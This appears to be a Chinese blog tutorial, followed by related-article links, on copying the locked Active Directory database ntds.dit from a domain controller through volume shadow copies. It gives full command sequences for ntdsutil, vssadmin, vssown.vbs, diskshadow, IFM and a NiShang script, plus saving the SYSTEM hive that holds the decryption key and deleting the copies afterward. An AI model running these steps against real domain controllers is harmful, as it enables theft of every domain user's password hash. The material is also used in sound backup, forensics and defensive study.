一、简介

  通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件。使用windows本地卷影拷贝服务,就可以获得该文件的副本。

  在活动目录中,所有的数据都保存在ntds.dit中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit。ntds.dit中包含用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被操作系统锁定的。在一般情况下系统运维人员会利用卷影拷贝服务(volume Shadow Copy Server,VSS)实现ntds.dit的拷贝,VSS本质上属快照(Snamshot)技术的一种,主要用于备份和恢复(即使目标文件被系统锁定)。

二、实验

1.通过ntdsutil.exe提取ntds.dit

创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
挂载快照
ntdsutil snapshot "mount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
复制ntds.dit
copy C:\$SNAP_201911241434_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
卸载快照
ntdsutil snapshot "unmount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
删除快照
ntdsutil snapshot "delete {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
 
2.利用vssadmin提取ntds.dit
创建C盘的卷影拷贝
vssadmin create shadow /for=c:
卷影副本 ID: {26133fdb-5645-4596-840f-aa3b88993628}
卷影副本卷名: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
在创建的卷影拷贝中将ntds.dit复制出来
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\ntds.dit
删除快照
vssadmin delete shadows /for=c: /quiet
 
3.利用vssown.vbs提取ntds.dit
上传cscript.exe和vssown.vbs到域服务器上,查找ntds.dit的位置。
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters //得到ntds的默认路径:c:\ Windows\NTDS\ntds.dit
启动卷影拷贝服务 cscript //nologo vssown.vbs /start
创建一个C盘的卷影拷贝
cscript vssown.vbs /create c
列出当前卷影拷贝
cscript vssown.vbs /list
ID:{654734BE-EB3B-4C62-BE64-2CD7FB491BF4}
存储位置:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
复制NTDS.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
删除卷影拷贝
cscript vssown.vbs /delete {654734BE-EB3B-4C62-BE64-2CD7FB491BF4}
 
4.使用diskshadow导出ndts.dit
可以使用diskshadow.exe来执行命令。例如,将需要执行的命令“exec c:\windows\system\calc.exe”写入c:\command.txt文件。
echo exec c:\windows\system32\calc.exe > command.txt
type command.txt
diskshadow /s command.txt # 使用diskshadow执行txt中的命令。
diskshadow也可以用来导出ntds.dit 。将如下命令写入一个文件中去执行。
set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds.dit delete shadows all
list shadows all reset
exit
使用diskshadow执行c:\command.txt中的命令
diskshadow /s c:\command.txt
注意:使用diskshadow时必须切换到windows\system32\目录下执行命令,否则会报错。
导出ntds.dit后,可以将system.hive转储。因为system.hive中存放着ntds.dit 的密钥,所以没有该密钥,将无法查看ntds.dit 中的信息。
reg save hklm\system c:\windows\temp\system.hive
 
5.使用ntdsutil的IFM创建卷影拷贝
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
然后将SYSTEM和SECURITY两项复制到c:\test\registry\文件夹下
ntds.dit 已经被复制到c:\test\active directory\文件夹下了。
将ntds.dit拖回本地后,在目标机器上将test文件夹删除
rmdir /s/q c:\test
在NiShang中有个powershell脚本Copy-VSS.ps1,将该脚本提取出来在域控制器中打开并运行。
Import-Module .\Copy-VSS.ps1
Copy-VSS
通过该脚本,可以将SAM、SYSTEM、ntds.dit复制到与该脚本相同的目录中。

使用卷影拷贝提取ntds.dit的更多相关文章

  1. 利用卷影拷贝服务提取ntds.dit

    0x01 前言 通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件.那么什么是ntds.dit呢? ntds.dit文件是一个数据库,用于存储A ...

  2. SharePoint 2013 和卷影复制服务(VSS)概述

    对备份供应商而言,卷影复制服务 (VSS) 使用集中式 API 简化了 Microsoft 服务器解决方案的备份.Microsoft SharePoint Foundation 包括一个参考 VSS ...

  3. Windows-删除Windows Server backup卷影副本

    现有环境中有一台Windows Server做过定期备份计划,时间太久未做清理操作,收到磁盘报警邮件后需要及时释放该空间,具体操作步骤如下: 当前备份计划信息如下: 清理步骤如下: 1.以管理身份运行 ...

  4. 清理Windows Serer Backup备份数据生成的卷影副本(DiskShadow命令)

    DiskShadow基本命令: 1.进入DiskShadow命令行: C:\>diskshadow 2.列出所有的卷影副本: DISKSHADOW> list shadows all 3. ...

  5. 域渗透——获得域控服务器的NTDS.dit文件

    0x00 前言 在之前的文章<导出当前域内所有用户hash的技术整理>曾介绍过通过Volume Shadow Copy实现对ntds.dit文件的复制, 可用来导出域内所有用户hash.本 ...

  6. Windows中的权限设置、文件压缩、文件加密、磁盘配额和卷影副本

      目录 权限设置 文件夹的NTFS权限 文件的NTFS权限 NTFS权限的应用规则 文件压缩 文件加密 磁盘配额 卷影副本 权限设置的应用 遇到的一个权限问题的小bug 权限问题的实际应用 权限设置 ...

  7. Windows 10系统出现:“出现系统还原使用的卷影复制服务无法运行...”的问题解决

    在服务中是:Volume Shadow Copy和Microsoft Software Shadow Copy Provider这两项.把它开启.

  8. 6.Dump域内用户Hash姿势集合

    本文转自先知社区,原文链接:https://xz.aliyun.com/t/2527#toc-10 原文地址:https://pentestlab.blog/2018/07/04/dumping-do ...

  9. 获取域hash并破解

    ntds.dit ntds.dit是主要的AD数据库,存放在C:\Windows\NTDS\NTDS.dit,包括有关域用户,组和组成员身份的信息.它还包括域中所有用户的密码哈希值.为了进一步保护密码 ...

随机推荐

  1. 细说javascript typeof操作符

    细说javascript typeof操作符 typeof定义 typeof是一元运算符,用来返回操作数类型的字符串.下面是ECAMScript5.1关于typeof的标准定义: NOTE:上面表格标 ...

  2. CSRF 详解:攻击,防御,Spring Security应用等

    本文原创,更多内容可以参考: Java 全栈知识体系.如需转载请说明原处. CSRF(Cross-site request forgery跨站请求伪造,也被称成为"one click att ...

  3. 5.pycharm中导入第三方模块的方法

    最近刚入门学习python,网上查找了一些资料,发现python编程用的软件pycharm还是比较多的,于是就跟随大众,学习使用pycharm,在学习的过程中,想要导入第三方模块pyperclip,但 ...

  4. Spring Boot中利用递归算法查询到所有下级用户,并手动进行分页

    Spring Boot中利用递归算法查询到所有下级用户,并手动进行分页 前提:语言用的是kotlin(和Java一样,但更简洁),写下这篇文章用来记录编程过程中遇到的一些难点 1.功能需求 前端用户A ...

  5. 这份前端面试小册子dog cheng带来啦~

    写在前面 没有错,就是我啦dog cheng,好久不见,从17年在博客园写下第一篇文章,转身间已然两年,从大二到现在的大四预备毕业生,我仍然在这条道路上前进.秋招早已经结束,在拿到用友,滴滴的offe ...

  6. Java截图小程序源码

    Java编写的全屏截图小程序 package cnom.test.testUtils; import java.awt.AWTException; import java.awt.Dimension; ...

  7. 基于Arduino的红外遥控

    1.红外接收头介绍  一.什么是红外接收头?  红外遥控器发出的信号是一连串的二进制脉冲码.为了使其在无线传输过程中免受其他红外信号的干扰,通常都是先将其调制在特定的载波频率上,然后再经红外发射二极管 ...

  8. 原生js里的offset、client、scroll三大家族

    offset家族 自己的,用于获取元素自身尺寸 offsetWidth 和 offsetHeight 获取元素自身的宽度和高度,包括内容+边框+内边距 offsetLeft 和 offsetTop 距 ...

  9. 正则表达式grep命令

    grep命令 作用:文本搜索工具,根据用户指定的“模式”对目标文本逐行进行匹配检查:打印匹配到的行. 模式::由正则表达式字符及文本字符所编写的过滤条件 语法:grep [OPTIONS] PATTE ...

  10. 使用 git 将代码推送到多个仓库

    使用 git 将代码推送到多个仓库 起因     起初,在 GitHub 建了一个仓库,200+ 的 commits .后来(终于在眼泪中明白...误